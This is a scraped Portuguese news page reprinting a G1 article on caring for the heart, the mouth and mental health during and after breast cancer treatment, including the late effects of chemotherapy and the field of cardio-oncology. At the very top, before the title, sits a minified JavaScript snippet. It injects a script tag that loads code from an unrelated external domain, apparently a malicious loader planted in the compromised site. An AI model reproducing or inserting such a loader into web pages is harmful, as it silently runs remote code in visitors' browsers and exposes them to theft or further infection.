;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); A quimioterapia está em dia, mas e o coração? - Portal Carangola

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A quimioterapia está em dia, mas e o coração?

No tratamento oncológico é fundamental cuidar da saúde como um todo, não apenas do câncer. A doença já é estressante por si só, podemos evitar efeitos colaterais. Veja as dicas:

Os efeitos colaterais do tratamento do câncer de mama não devem ser a única preocupação do paciente neste período e nem depois. É preciso lembrar que o organismo é uma máquina complexa e com “circuitos” interdependentes.

Por isso, estar atenta aos demais cuidados com o coração ou com a saúde bucal, por exemplo, mas em especial com a saúde mental, são atitudes fundamentais neste período já difícil para qualquer paciente.

Há vida após o câncer! E quanto mais se puder preservar a saúde como um todo, melhor a qualidade de vida com a chamada remissão da doença. Mas é fato que efeitos colaterais tardios podem ocorrer tempos depois do término do tratamento oncológico.

Eles podem se desenvolver meses ou anos depois da quimio ou radioterapia e, por isso é importante manter a rotina médica em dia. Efeitos tardios da quimioterapia são raros, mas entre estão as principais estão as alterações pulmonares, cardíacas, perda ou diminuição da fertilidade e até o aparecimento de um novo câncer.

A partir de 10 anos depois da radioterapia a vigilância é intensificada. Mas, existem casos mais precoces e casos bem mais tardios. Desse modo, é extremamente importante que o paciente continue indo para as consultas médicas e realizando os exames.

Mas com o que se preocupar durante o tratamento?

As consequências do tratamento oncológico para o coração ficaram ainda mais evidentes nos últimos anos. A cardiotoxidade dos quimioterápicos é um fato. A radioterapia e a terapia hormonal estão relacionadas ao desenvolvimento de doença arterial coronariana.

Mas quando o câncer é diagnosticado a prioridade é tratá-lo. Porém, ter consciência de que pode haver de 1 até 20% de comprometimento do coração pelo câncer, também é fator decisivo para se tomar medidas preventivas.

A cardiologia oncológica, ou cardio-oncologia, é uma subespecialidade médica que previne, trata e diagnostica problemas e doenças cardiovasculares que podem acometer pacientes com câncer, que estão realizando tratamento oncológico.

Seu objetivo é levar ao paciente o melhor tratamento oncológico disponível, com o menor risco cardiovascular possível. A meta passa a ser prevenção, identificação precoce e tratamento de eventuais complicações cardiovasculares decorrentes do câncer ou do seu tratamento.

Câncer de mama e saúde bucal

O câncer de mama e seus tratamentos afetam todas as áreas do corpo, podendo gerar sensação de boca seca e gosto metálico na boca, efeitos colaterais frequentes que interferem diretamente na saúde bucal.

Os pacientes em tratamento costumam apresentar perda de paladar, mucosite (feridas), candidíase bucal, cáries de radiação, e diversos outros sintomas associados. Esses incômodos podem ter fim quando o paciente termina o tratamento ou persistirem por anos. Quem está em tratamento oncológico e tem implantes dentários ou aparelhos, deve redobrar a atenção.

Higiene adequada é o principal. Pois ter feridas, sensibilidade e sensação de boca seca não podem ser motivos para parar com os hábitos de higiene na boca. O passo a passo mais indicado é escovação com um escova adequada, limpeza interdental e uso de hidratantes enzimáticos. Há serviços que também oferecem a laserterapia, mas é fundamental que seja feita por profissional experiente.

Já a saúde mental deve ser uma preocupação desde o início da suspeita de um câncer. Não há quem não seja afetado pela ansiedade do diagnóstico, pela constatação de ter que se submeter a um tratamento agressivo, as consequências e a necessidade da rede de apoio durante o tratamento e depois de tudo. A saúde mental é preponderante em cada uma destas fases e descobrir como manter o equilíbrio, saber que tipo de ajuda buscar e seguir recomendações pode fazer toda a diferença.

Informação: G1

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